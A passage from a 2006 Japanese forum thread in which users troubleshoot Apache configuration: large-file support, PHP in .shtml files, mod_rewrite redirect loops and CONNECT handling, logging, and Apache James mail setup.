httpd.confを見たら入れ直すまえと同じ感じだったので、
そこが原因なのでしょうか?

>>230
玄箱純正のmontavistaです。

238 :DNS未登録さん:2006/12/04(月) 15:27:25 ID:???
-D_LARGEFILE64_SOURCE
じゃね?

239 :228:2006/12/04(月) 16:04:51 ID:???
2.2は変なオプション無しで2G超えファイル使えるぞ

240 :k ◆WFGp1NZuiw :2006/12/06(水) 00:48:17 ID:???
>>239
Mkaefile オブションつけてるもんだと思ってたけど,ソース見たかんじたと
ifdef で頑張ってるみたいですね.lighttpd もそうしてくれればいいのに.

241 :DNS未登録さん:2006/12/06(水) 00:56:32 ID:???
Jamesでメール鯖を立てようかと試みているのですが、
yahooメールやgooメールには届くのに、自分のプロバイダのメールアドレスや自分の携帯メールアドレスにはメールが届きません。
自分の携帯にメールを送れないのはそういうものなのでしょうか?

242 :DNS未登録さん:2006/12/06(水) 11:03:03 ID:sUUZbg6P
James2.3でOB25pに対応する方法ってどこかにまとまっていないですかね?

ISPの認証を通すのはやぶさかでは無いのですが。

243 :228:2006/12/06(水) 14:00:10 ID:???
なんでオープンソース業界(ってひとくくりにするのもアレだけど)って
32bitの壁に鈍感なんだろう?
Windowsの世界のほうが対応は早かった。
PHPはいまだに整数は32bitだし・・・。

244 :DNS未登録さん:2006/12/06(水) 14:05:21 ID:???
必要に感じたやつが自分で変えればいいし、それをフィードバックすれば反映されるだろ
そうなってないってことは誰も必要に感じてないだけだ

245 :DNS未登録さん:2006/12/06(水) 19:08:11 ID:???
過去のしがらみがあるから
int 32bit
double 64bit

でえぇやん

246 :DNS未登録さん:2006/12/06(水) 21:29:27 ID:???
>>243
"32bitの壁" ってひとくくりにするのがそもそもの間違い。
ファイルサイズの壁としての32bitであれば、それはApacheなら2.2.xの系列で
対応してるし、64bitプロセッサ用にコンパイルすれば2.0.xでも32bitのファイル
サイズの壁を越えて問題なく動作する。2.0.x用の非公式パッチもあるし。

あとWindows側の対応についてはOS側でも未対応の部分がいろいろあるよ。
OS側がGetFileSize()で対応してても下位32bitしか見てないアプリケーションなんて
ザラにある。

数値としての32bitであれば、それは単にそれを64bitにすればいいという話ではない。
既存のソースコードとの互換性に問題が生じるから、既存のものは既存のまま残して
おいて拡張は別に用意するのが通常。

PHPなら巨大な整数はBCMathライブラリを使ってあげるのが適当だろう。これを使えば
数値の壁や浮動小数表現時の誤差がゼロにできる(その分遅くはなるが)。

247 :k ◆WFGp1NZuiw :2006/12/07(木) 00:54:23 ID:???
>>243
確かに鈍感だと思う.
カーネル(ファイルシステム)にしろ HTTP サーバーにしろ,Windows (IIS)
に比べて数年遅れてきてる.

結局需要を先取りするインセンティブがなかったからそういうことになるんだ
ろうけど.

; これから,についてはちょっと期待してる.

248 :DNS未登録さん:2006/12/07(木) 01:36:06 ID:???
Microsoftとか、そりゃ資金も時間もあれば速いんじゃないの?

って思えなくも無い
結局は資金力の差でしょ

249 :DNS未登録さん:2006/12/09(土) 05:26:40 ID:???
>>247
先取りも何も、誰も必要としてないから対応してないだけだろ

250 :DNS未登録さん:2006/12/09(土) 09:24:07 ID:???
PHPのよく使われる場面で、32bitが障害になるってことなんてあるか?


251 :DNS未登録さん:2006/12/09(土) 13:20:42 ID:???
時々、そんなのDVD-Rに焼いて渡せよってほどのファイルサイズを
アップローダで受け渡そうとする奴が現れたりとか。

252 :DNS未登録さん:2006/12/10(日) 03:03:59 ID:???
質問です。
PHPのSSIを使えるようにしようと思っているのですが、
ソースを見るとSSIの部分が展開されずにそのまま送られています。
どんなことが考えられるでしょうか?

現在、Directoryディレクティブ内で
 Options ExecCGI Includes FollowSymLinks MultiViews
 AllowOverride None
 Order allow,deny
 allow from all
 AddType text/html .shtml
 AddHandler server-parsed .shtml
と指定しています。

このディレクトリ内に次の内容のtest.shtmlを作成して表示すると
SSI部分が展開されずに表示されます。
 <html><body>
 <?php echo "hoga"; ?>
 </body></html>
非SSIは正常に動作しています。

環境は次のとおりです。
OS : debian etch
apache2 : 2.2.3-3.1
php5 : 5.2.0-7

253 :DNS未登録さん:2006/12/10(日) 10:36:23 ID:???
>>252
思いっきり勘違いの予感。
SSIは <!--#include file="filename" --> のように記述する簡易なスクリプトで
あって、PHPとは無関係。

254 :DNS未登録さん:2006/12/10(日) 15:37:16 ID:???
>>252
普通のphpじゃあかんの?

255 :DNS未登録さん:2006/12/10(日) 19:29:12 ID:???
>>251
ロダ設置者スレに沸いてたなw

256 :252:2006/12/10(日) 20:40:55 ID:???
>>253
ぐは、そうなんですか・・・
それでは上の.shtmlファイルを正しく表示するにはどうすればよいのでしょう。

>>254
カウンタとして使ったりメニューとして使ったりしたいと思ってるので
埋め込みでやりたいのです。

ちょっと調べてみて
 AddType application/x-httpd-php .shtml
とか
 AddType text/x-server-parsed-html .shtml
とか書いてみましたが、今度はクライアント側で「ファイルの保存」ダイアログが出てしまいます。
根本的に理解していなくてすみませんがよろしくお願いします。

257 :DNS未登録さん:2006/12/10(日) 21:06:17 ID:???
 <html><body>
 <?php echo "hoga"; ?>
 </body></html>

↑これには全くSSIは含まれていない。
すこしはSSIを勉強しろ。このスレは早い。

258 :252:2006/12/10(日) 21:54:03 ID:???
>>257
いや、それは理解しています。SSIのことは忘れてください。
で、そのファイルで
 <html><body>
 hoga
 </body></html
という出力を得たいのですがどうすればよいのでしょうか?


259 :DNS未登録さん:2006/12/10(日) 23:37:37 ID:???
>>258
phpのマニュアルかスレでも行って帰ってくんな

260 :252:2006/12/11(月) 00:35:21 ID:???
>>259
というとapacheの設定の問題ではないということですか。
どうもありがとうございました。そうすることにします。


261 :DNS未登録さん:2006/12/12(火) 01:55:31 ID:T5OwBBaH
ちょっと質問だ。俺んちの設定は
exapmle.com→www.example.com→mobile.example.comっつうアクセス順になってる訳さ。
example.comへアクセスしたらRedirectでwww.example.comへ、www.example.comへアクセスしてきたものが
携帯端末であればmobile.example.comへ。
まぁこんな感じなわけで、UA使ってmobile.example.comへ来たPCをwww.example.comへ飛ばそうと考えている訳だ。
しかし、mobileからwwwへ飛ばす設定を追加したら携帯からwww.example.com,example.comからmobile.example.comへのリダイレクトがループになっちまった。
ちなみにmobile.example.comへPCからアクセスした場合はwww.example.comへ上手くリダイレクトされていまつ。
追加したのか↓のとおり。

#/usr/local/apache2/htdocs/mobile/.htaccess
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !^DoCoMo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^vodafone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^KDDI [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^J-PHONE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^Up.Browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^ASTEL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^DDIPOCKET [NC]
RewriteRule ^$ http://www.example.com/ [L]

ちなみにディレクトリ構成は/usr/local/apache2/htdocs配下に
tmp/→example.com,/→www.example.com,mobile→mobile.example.comって感じな訳だ。
無限ループしないようにするにはどうすればいいと思う?

http://pc8.2ch.net/test/read.cgi/mysv/1165573172/l50←こっちで聞いてもレスなかったからこっちでも聞いてみる。

262 :DNS未登録さん:2006/12/12(火) 11:00:21 ID:???
mobileからwwwへ全てリダイレクトしたらその現象と同じになるよな
つまり、その設定に問題があるっちゅうこっちゃ

263 :DNS未登録さん:2006/12/12(火) 11:01:29 ID:???
その条件に一つでも該当したら飛ぶ、ということじゃないのか
これだけでわかるべ

264 :261:2006/12/12(火) 17:21:11 ID:T5OwBBaH
「!」で否定しているからHTTP_USER_AGENTに該当していない場合はってことじゃないん?
違ったら正しい正規表現の仕方教えてーorz

265 :DNS未登録さん:2006/12/12(火) 17:36:34 ID:???
>>264
否定の時は and じゃないの? (OR が要らない)
!(A or B) == !A and !B

266 :261:2006/12/12(火) 17:50:59 ID:???
>>265
そのとおりでした、ごめんなさい、解決しました、ありがとうございましたorz

267 :DNS未登録さん:2006/12/12(火) 18:29:48 ID:LT8tumYE
HostNameLookups on を記述しており、
access.log ではホスト名が記録されているのですが、
error.log では IP アドレスで記録されてしまいます。
error.log でもホスト名で記録させたいのですが、どのように記述すれば良いでしょうか?

268 :DNS未登録さん:2006/12/12(火) 18:30:36 ID:rgFtRzuF
無理。ホスト名なんて飾りです。

269 :267:2006/12/12(火) 18:54:46 ID:???
>>268
そうなんですか(´・ω・`)

270 :DNS未登録さん:2006/12/22(金) 17:48:39 ID:???
Win版の2.2を入れようとしたら
どうやらインストーラーのフォルダ設定がおかしくなっていて
おかしな場所(C:\とか)にファイル展開される。

仕方ないので2.0を入れたら、
なぜかエラーログの全行にrefererが付いてくる。

271 :DNS未登録さん:2006/12/22(金) 21:12:05 ID:???
とりあえずPC初心者は帰れ

272 :DNS未登録さん:2006/12/23(土) 18:58:06 ID:qqU13RB+
apache1.3系で mod_rewrite を有効にした場合、CONNECT メソッドに対して
意図した挙動をせず、困っています。

リライトを無効にした状態

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 CONNECT www.google.com:80 HTTP/1.0
 Host: www.hoge.com
 
 HTTP/1.1 404 Not Found
 以下404メッセージ

RewriteEngin on
RewriteRule ^/$ /application

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 CONNECT www.google.com:80 HTTP/1.0
 Host: www.somehost.com
 
 HTTP/1.1 200 OK
 以下アプリケーションサーバの処理結果(エラー)

RewriteEngine を on にしただけの状態では 404 が返るだけなのですが
何か設定をすると RewriteRule が CONNECT リクエストを拾ってしまうようです。

これはいったいどういうことなんでしょうか。
どなたかご教授下さい。


273 :DNS未登録さん:2006/12/23(土) 19:24:16 ID:???
Server version: Apache/2.0.54
OS: Fedora Core 4

という環境でApacheのことについて質問です。
トップページであるindex.phpがincludeしてるページファイルを更新してリロードしても
更新がすぐ反映されず数分後にリロードしてみると反映されているのはキャッシュ機能が働いているからなのでしょうか?
それとも現在接続中のユーザがindex.phpを参照しているとか関係があるのでしょうか
よろしくお願いします

274 :DNS未登録さん:2006/12/23(土) 19:46:35 ID:???
>>272
RewriteRule を httpd.conf 直下ではなく <Directory> の中に置いてみたら?

<Directory htdocs>
RewriteEngine On
RewriteRule ^$ /application
</Directory>

>>273
ログを見てみろ。
304 Not Modified を返してたらサーバー側に問題がある。
あと、直前のレスポンスに Last-Modified, Etag, Expires あたりのヘッダが
出てないかどうかもチェックするといい。

275 :DNS未登録さん:2006/12/23(土) 19:49:58 ID:???
>>274
>RewriteRule を httpd.conf 直下ではなく <Directory> の中に置いてみたら?
ありがとうございます。
現象を回避できるようになりました。
感謝!


276 :272:2006/12/24(日) 01:07:53 ID:7Kt70ycg
RewriteRule などを Directory 内に記載することで CONNECT メソッドを拾わなくなったのですが、
まだ ¥x04¥x01 などの適当な文字列によるリクエストを mod_rewrite が拾ってしまってうようです。
(上記のRuleでアプリケーションサーバに処理が渡りに200が返ってしまう)

.htaccess 内に全て記載するようにすると 403 が返るようになるのですが、そういう仕様なのでしょうかね。
パフォーマンスのことを考えると httpd.conf に書いておきたいのですが。。。
皆さんどうしてますか?


277 :272:2006/12/24(日) 01:13:41 ID:7Kt70ycg
捕捉します。
例えば、

<Directory ....
 <Limit GET POST OPTIONS PROPFIND>
  Options ExecCGI FollowSymLinks
  Order allow,deny
  Allow from all
 </Limit>
 <LimitExcept GET POST OPTIONS PROPFIND>
  Order deny,allow
  Deny from all
 </LimitExcept>
 RewriteEngin on
 RewriteRule ^$ /application

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 ¥x04¥x01
 以下アプリケーションサーバのエラーメッセージ

条件部分を、.htaccess 内に記述すると、

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 ¥x04¥x01
 以下403のエラーメッセージ

となり意図した動作になる。


278 :DNS未登録さん:2006/12/24(日) 01:19:30 ID:???
>>274
ありがとうございます
帰ったらチェックしてみます

279 :DNS未登録さん:2006/12/24(日) 01:24:25 ID:???
>>276-277
RewriteRule を httpd.conf 直下ではなく <L(ry


280 :272:2006/12/24(日) 02:26:32 ID:???
>>279
なるほど… orz
失礼しました、と言いたいところだけど、、、なんてややこしいんだ!!!

これは Apache API のへのフックの仕方とかちゃんと理解してないと
この先が思いやられそうですね。

ありがとうです>>278


281 :272:2006/12/24(日) 02:27:58 ID:???
あ、間違えました。>>279氏ありがとう。


282 :DNS未登録さん:2006/12/25(月) 13:27:01 ID:aG2cPi87
RedHatAS3とjdk1.4.2でDerbyを試しております。
実行する際、startNetworkSever.kshを実行しているのですが、
これをサービスとして実行する手段は無いでしょうか。
コンソールを閉じると止まってしまうため不便を感じております。

ご助力いただければ幸いです。
よろしくお願いいたします。

283 :DNS未登録さん:2006/12/25(月) 15:32:12 ID:???
>>282
startNetworkServer.ksh &を起動時に実行するようにしてみては?

284 :DNS未登録さん:2006/12/26(火) 02:00:52 ID:kTUTOG8N
apache james

285 :DNS未登録さん:2006/12/26(火) 02:03:36 ID:kTUTOG8N

ごめんなさい、間違って書き込んでしまいましたorz
改めまして、apache jamesを使ってメール鯖を立てようかと試みています。
使えるネットのRedHatAS3上で構築中なのですが、サーバは起動したのですが、追加したユーザ宛にメールを送っても
ユーザがいないとエラーが返ってきてしまいます。ユーザは間違いなくいるのですが。。。
portを25ではなく250とかしているといけないでしょうか?
なぜか25と110が使われていて、このportでJamesを起動できないのです。。。

84 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)